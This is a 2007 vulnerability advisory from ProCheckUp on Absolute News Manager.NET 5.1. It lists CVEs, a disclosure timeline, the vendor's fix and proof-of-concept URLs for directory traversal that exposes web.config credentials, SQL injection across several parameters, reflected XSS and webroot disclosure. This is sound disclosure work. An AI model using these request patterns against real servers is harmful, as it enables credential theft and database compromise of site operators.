PR07-39: Multiple vulnerabilities on Absolute News Manager.NET 5.1 including file
retrieval and SQL injection
Vulnerabilities found: 16 November 2007
Vendor informed: 19 November 2007
Vulnerability fixed: 28 November 2007
Severity: High
BID: 26692
CVE Candidate: CVE-2007-6268 CVE-2007-6269 CVE-2007-6270
CVE-2007-6271
Description:
Multiple vulnerabilities were found on Absolute News Manager.NET 5.1:
- unauthenticated file retrieval (directory traversal) on '/pages/default.aspx'
- unauthenticated SQL injection on 'xlaabsolutenm.aspx' and possibly '/pages/default.aspx'
- XSS on 'xlaabsolutenm.aspx' and '/pages/default.aspx'
- webroot disclosure on 'getpath.aspx'
File retrieval PoC:
The following URL shows the contents of .NET 'web.config' (contains DB credentials):
http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=1&template=../web.config
The following URL show contents of the vulnerable script:
http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=1&template=default.aspx%00
Note: in order to obtain the content of '.aspx' files, a null byte '%00' must be added after the filename.
Show content of other scripts:
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../anmviewer.ascx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../default.aspx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../PPL1HistoryTicker.aspx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../xlagc.ascx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../xlaabsolutenm.aspx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../streamconfig.aspx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../incSystem.aspx%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../articlefiles/r.asp%00
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=../incSystem.aspx%00
SQL injection PoCs:
Vulnerable script: /[CustomerDefinedDir]/xlaabsolutenm.aspx
Vulnerable parameters: z, pz, ord, sort
Requesting the following URL returns the version of Windows and SQL server:
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=@@version&pz=9&featured=n&ord=desc&sor
t=posted&rmore=-&
System.Data.SqlClient.SqlException: Conversion failed when converting the nvarchar value 'Microsoft SQL
Server 2005 - 9.00.3042.00 (Intel X86)
Feb 9 2007 22:47:07 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2
(Build 3790: Service Pack 2) ' to data type int.
Other URLs:
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=10&ord=asc&sort=headline'INJECTED_
PAYLOAD&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=10&ord=asc'INJECTED_PAYLOAD&sort=
headline&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=10'INJECTED_PAYLOAD&ord=asc&sort=
headline&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=15'INJECTED_PAYLOAD&ss=y&size=1.1
em&target=iframe&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4&pz=21&ord=asc&sort=headline'INJECTED
_PAYLOAD&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4&pz=21&ord=asc'INJECTED_PAYLOAD&
sort=headline&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4&pz=21'INJECTED_PAYLOAD&ord=asc&
sort=headline&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=4'INJECTED_PAYLOAD&pz=21&ord=asc&
sort=headline&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&ord=desc&sort=posted'INJECTED_
PAYLOAD&featured=n&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&ord=desc'INJECTED_PAYLOAD&sort=
posted&featured=n&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=8'INJECTED_PAYLOAD&featured=only&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=9&featured=n&ord=desc&sort=posted
INJECTED_PAYLOAD&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=9&featured=n&ord=desc'INJECTED_
PAYLOAD&sort=posted&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6&pz=9'INJECTED_PAYLOAD&featured=
n&ord=desc&sort=posted&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6'INJECTED_PAYLOAD&ord=desc&sort=
posted&featured=n&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6'INJECTED_PAYLOAD&pz=8&featured=
only&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=6'INJECTED_PAYLOAD&pz=9&featured=
n&ord=desc&sort=posted&rmore=-&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=7&ord=desc&sort=posted'INJECTED_
PAYLOAD&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=7&ord=desc'INJECTED_PAYLOAD&sort
=posted&
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=7'INJECTED_PAYLOAD&ord=desc&sort
=posted&
The script '/pages/default.aspx' might also be vulnerable to SQL injection but it has not been confirmed.
Requesting the following URLs:
http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=40&z=9999999999999
http://target.tld/[CustomerDefinedDir]/pages/default.aspx?a=9999999999999&z=1
return the following error:
System.Data.SqlClient.SqlException: Error converting data type nvarchar to int.
XSS PoCs:
Vulnerable script: '/xlaabsolutenm.aspx'
Unsanitized parameter: 'rmore'
http://target.tld/[CustomerDefinedDir]/xlaabsolutenm.aspx?z=1,7&sort=articleID&ord=desc&rmore=%3C
script%3Ealert(1)%3C/script%3E&size=2&h=abc&isframe=y
Vulnerable script: '/pages/default.aspx'
Unsanitized parameter: 'template'
http://target.tld/[CustomerDefinedDir]/pages/?a=1&template=%3Cscript%3Ealert(2)%3C/script%3E
Webroot PoC:
Requesting the 'getpath.aspx' demo script discloses the physical path of the webroot - ie:
http://target.tld/[CustomerDefinedDir]/getpath.aspx
"
Absolute News Manager Physical Path :
D:\inetpub\target.tld\[CustomerDefinedDir]\
Please delete this file from your installation.
"
Consequences:
Contents of any files on the web server can be obtained. Unauthorized SQL queries can be injected. Scripting code can be run within the security context of the target domain. Information about the target environment can be extracted.
Fix:
http://www.xigla.com/security/
http://www.xigla.com/security/ANMNET51-SecurityUpdate20071128.zip
Note: ProCheckUp has NOT tested the patch provided by Xigla Software.
References:
http://www.procheckup.com/Vulnerability_2007.php
http://www.xigla.com/absolutenmnet/
Credits: Adrian Pastor, Jan Fry and Richard Brain of ProCheckUp Ltd (www.procheckup.com)
ProCheckUp thanks Xigla Software for working with us.
Legal:
Copyright 2007 ProCheckUp Ltd.
All rights reserved. Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if the Bulletin is not changed or edited in any way, is attributed to ProCheckUp indicating this web page URL, and provided such reproduction and/or distribution is performed for non-commercial purposes.
Any other use of this information is prohibited.
ProCheckUp is not liable for any misuse of this information by any third party. ProCheckUp is not responsible for the content of external Internet sites.
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